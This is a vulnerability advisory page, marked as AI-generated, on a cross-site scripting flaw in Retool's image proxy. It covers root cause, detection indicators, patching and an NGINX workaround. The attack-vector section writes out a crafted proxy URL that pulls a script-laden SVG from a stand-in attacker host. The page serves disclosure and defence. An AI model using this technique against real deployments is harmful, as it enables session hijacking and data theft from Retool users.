Skip to main content
Vulnerability Database/CVE-2024-58394

CVE-2024-58394: Retool XSS Vulnerability via imageProxy

CVE-2024-58394 is a cross-site scripting flaw in Retool that lets unauthenticated attackers execute malicious scripts through the imageProxy endpoint. This article covers technical details, affected versions, and remediation.

Published:

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

CVE-2024-58394 Overview

CVE-2024-58394 is a cross-site scripting (XSS) vulnerability in Retool versions prior to 3.88.0. The flaw resides in the /api/imageProxy endpoint, which proxies remote images referenced by the url parameter. An unauthenticated attacker can supply an attacker-hosted Scalable Vector Graphics (SVG) file containing embedded JavaScript. The proxied response is served from the Retool origin without a Content Security Policy (CSP), causing the script to execute in the victim's browser session. The issue is tracked as CWE-79: Improper Neutralization of Input During Web Page Generation.

Critical Impact

Unauthenticated attackers can execute arbitrary JavaScript in a victim's Retool session, enabling session hijacking, data theft, and actions performed on behalf of authenticated users.

Affected Products

  • Retool versions prior to 3.88.0
  • Retool self-hosted (Edge) deployments exposing /api/imageProxy
  • Retool Cloud instances running vulnerable builds

Discovery Timeline

  • 2024-10-15 - Exploitation evidence first observed by the Shadowserver Foundation
  • 2026-10-22 - CVE CVE-2024-58394 published to NVD
  • 2026-10-22 - Last updated in NVD database

Technical Details for CVE-2024-58394

Vulnerability Analysis

The vulnerability stems from how Retool's image proxy endpoint handles remote content. The /api/imageProxy route accepts a url query parameter and fetches the referenced resource server-side. Retool then returns the fetched bytes to the browser from its own origin without restricting the response's Content-Type or applying a Content Security Policy.

SVG files are XML documents that can embed <script> elements and inline event handlers. When a browser renders a proxied SVG as image/svg+xml, any embedded script executes within the Retool origin. The attack is reflected and requires only that a victim open an attacker-crafted link.

Because the request is unauthenticated and the response inherits the Retool origin, scripts gain access to session cookies, local storage, and any API routes reachable by the logged-in user. See the VulnCheck Advisory for Retool XSS for additional analysis.

Root Cause

The root cause is a missing content-type restriction combined with the absence of a CSP response header on proxied content. Retool's proxy did not block scriptable MIME types such as image/svg+xml, nor did it force a sandboxed response. The proxy was intended to bypass mixed-content and CORS limitations for images, but it did so without validating that the fetched bytes were safe to render inline.

Attack Vector

An attacker hosts a malicious SVG on infrastructure they control. The SVG contains a <script> element that executes attacker-chosen JavaScript. The attacker then crafts a Retool URL of the form https://<target>/api/imageProxy?url=https://attacker.example/payload.svg and delivers it to a Retool user through phishing, chat, or any channel that renders the link.

When the victim visits the link, Retool fetches the SVG and returns it from its own origin. The browser executes the embedded script in the context of the Retool application, allowing the attacker to read authenticated session state and issue API calls as the victim. User interaction is required, which is reflected in the CVSS vector's UI:A metric.

Detection Methods for CVE-2024-58394

Indicators of Compromise

  • Access log entries containing /api/imageProxy?url= where the url parameter references an external host serving .svg or image/svg+xml content
  • Outbound requests from Retool application servers to untrusted hosts referenced by the url parameter
  • Referrer headers from Retool users followed by anomalous API calls to /api/* using session cookies belonging to that user
  • Nuclei scan patterns matching the projectdiscovery/nuclei-templates retool-svg-xss.yaml signature

Detection Strategies

  • Inspect reverse-proxy and web application firewall logs for /api/imageProxy requests whose url parameter points to attacker-controlled domains or contains .svg
  • Correlate imageProxy access events with subsequent authenticated API calls from the same session within a short time window
  • Deploy the public Nuclei template against internet-facing Retool deployments to confirm exposure
  • Monitor for responses from /api/imageProxy served with Content-Type: image/svg+xml

Monitoring Recommendations

  • Enable verbose access logging on the Retool reverse proxy and forward logs to a centralized analytics platform for retrospective hunting
  • Alert on any imageProxy request where the url parameter host is not on an approved allowlist
  • Baseline normal image-proxy traffic volume and alert on spikes that could indicate scanning or exploitation attempts
  • Track user-session anomalies such as new API tokens, permission changes, or data exports immediately following an imageProxy request

How to Mitigate CVE-2024-58394

Immediate Actions Required

  • Upgrade Retool to version 3.88.0 or later on all self-hosted and Edge deployments
  • Audit access logs for prior exploitation attempts referencing /api/imageProxy with external SVG URLs since 2024-10-15
  • Rotate Retool user session tokens and API keys if evidence of exploitation is found
  • Restrict network egress from Retool application servers so the image proxy cannot reach arbitrary internet hosts

Patch Information

Retool fixed the vulnerability in version 3.88.0. The release notes are available at the Retool Release Notes 3.88 page. Administrators of self-hosted deployments should apply the upgrade across all nodes and verify the version banner in the admin console. Retool Cloud customers receive the fix automatically.

Workarounds

  • Block requests to /api/imageProxy at the reverse proxy or WAF when upgrading is not immediately possible
  • Enforce a strict Content Security Policy on all Retool responses that disables inline script execution
  • Add response rewriting at the proxy layer to override Content-Type to a non-scriptable value such as application/octet-stream for proxied responses
  • Restrict Retool access to authenticated users on a VPN or zero-trust network to limit exposure to unauthenticated phishing links
bash
# Example NGINX block to disable the vulnerable endpoint pre-upgrade
location /api/imageProxy {
    return 403;
}

# Add a restrictive CSP header to all Retool responses
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'" always;

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.